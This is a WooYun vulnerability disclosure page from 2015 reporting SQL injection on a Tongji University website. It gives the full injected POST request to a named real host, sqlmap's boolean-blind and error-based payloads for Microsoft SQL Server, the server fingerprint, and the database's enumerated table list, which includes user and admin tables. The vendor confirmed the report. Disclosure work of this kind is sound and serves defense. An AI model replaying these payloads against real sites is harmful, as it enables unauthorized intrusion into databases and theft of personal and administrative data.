当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0162601

漏洞标题:同济大学某站存在SQL注入漏洞

相关厂商:同济大学

漏洞作者: 路人甲

提交时间:2015-12-20 15:27

修复时间:2016-02-01 10:51

公开时间:2016-02-01 10:51

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-12-20: 细节已通知厂商并且等待厂商处理中
2015-12-20: 厂商已经确认,细节仅向厂商公开
2015-12-30: 细节向核心白帽子及相关领域专家公开
2016-01-09: 细节向普通白帽子公开
2016-01-19: 细节向实习白帽子公开
2016-02-01: 细节向公众公开

简要描述:

详细说明:

POST /BookSelect.aspx?flag=7&info_lb=66 HTTP/1.1
Content-Length: 405
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Referer: http://mat.tongji.edu.cn
Cookie: ASPSESSIONIDAABDBTSR=OFDPNMFBKILACIEFPINGINEK
Host: mat.tongji.edu.cn
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21
Accept: */*
btnSearch=%cb%d1%cb%f7&anpBooksList_input=1&txtBookName=-1' OR 1=1* or 'Cp7Piha0'=' &txtIndexNo=1&txtISBN=1&txtPress=1&txtWriter=1&__VIEWSTATE=/wEPDwUKMjA1Nzc0MTg5OA9kFgJmD2QWBAIVDxYCHgtfIUl0ZW1Db3VudAIPZAIXDw8WBh4LUmVjb3JkY291bnRmHghQYWdlU2l6ZQIPHg5DdXN0b21JbmZvVGV4dAUt5YWxIDk2IOmhtSzlvZPliY3nrKwgMSDpobUs5YWxIDE0Mzkg5p2h6K6w5b2VZGRkfAiE3b8YLhIEYbBpc%2bfFiTWeH8Y%3d

1.png

漏洞证明:

sqlmap resumed the following injection point(s) from stored session:
---
Parameter: #1* ((custom) POST)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: btnSearch=%cb%d1%cb%f7&anpBooksList_input=1&txtBookName=-1' OR 1=1) AND 7492=7492 AND (5528=5528 or 'Cp7Piha0'=' &txtIndexNo=1&txtISBN=1&txtPress=1&txtWriter=1&__VIEWSTATE=/wEPDwUKMjA1Nzc0MTg5OA9kFgJmD2QWBAIVDxYCHgtfIUl0ZW1Db3VudAIPZAIXDw8WBh4LUmVjb3JkY291bnRmHghQYWdlU2l6ZQIPHg5DdXN0b21JbmZvVGV4dAUt5YWxIDk2IOmhtSzlvZPliY3nrKwgMSDpobUs5YWxIDE0Mzkg5p2h6K6w5b2VZGRkfAiE3b8YLhIEYbBpc+fFiTWeH8Y=
Type: error-based
Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
Payload: btnSearch=%cb%d1%cb%f7&anpBooksList_input=1&txtBookName=-1' OR 1=1) AND 6881=CONVERT(INT,(SELECT CHAR(113)+CHAR(120)+CHAR(106)+CHAR(122)+CHAR(113)+(SELECT (CASE WHEN (6881=6881) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(113)+CHAR(113)+CHAR(122)+CHAR(113))) AND (7312=7312 or 'Cp7Piha0'=' &txtIndexNo=1&txtISBN=1&txtPress=1&txtWriter=1&__VIEWSTATE=/wEPDwUKMjA1Nzc0MTg5OA9kFgJmD2QWBAIVDxYCHgtfIUl0ZW1Db3VudAIPZAIXDw8WBh4LUmVjb3JkY291bnRmHghQYWdlU2l6ZQIPHg5DdXN0b21JbmZvVGV4dAUt5YWxIDk2IOmhtSzlvZPliY3nrKwgMSDpobUs5YWxIDE0Mzkg5p2h6K6w5b2VZGRkfAiE3b8YLhIEYbBpc+fFiTWeH8Y=
---
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2005
Database: Tongjicailiao
[35 tables]
+----------------+
| Awards |
| Books |
| Dircatin |
| Normal |
| Papers |
| Patents |
| ReplyMessage |
| ResearchBook |
| Resourse |
| StudentInfo |
| TeacherInfo |
| ThreePaper |
| Users |
| WriteMessage |
| admin_info |
| admin_info_en |
| adminlog |
| adminlog_en |
| adminpower |
| adminpower_en |
| article |
| article_type |
| ask |
| comments |
| count |
| dtproperties |
| info_type |
| info_type_en |
| information |
| information_en |
| mark |
| mark_en |
| menu |
| menu_en |
| users_xiaoji |
+----------------+

修复方案:

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2015-12-20 15:50

厂商回复:

感谢提醒!

最新状态:

暂无


漏洞评价:

评价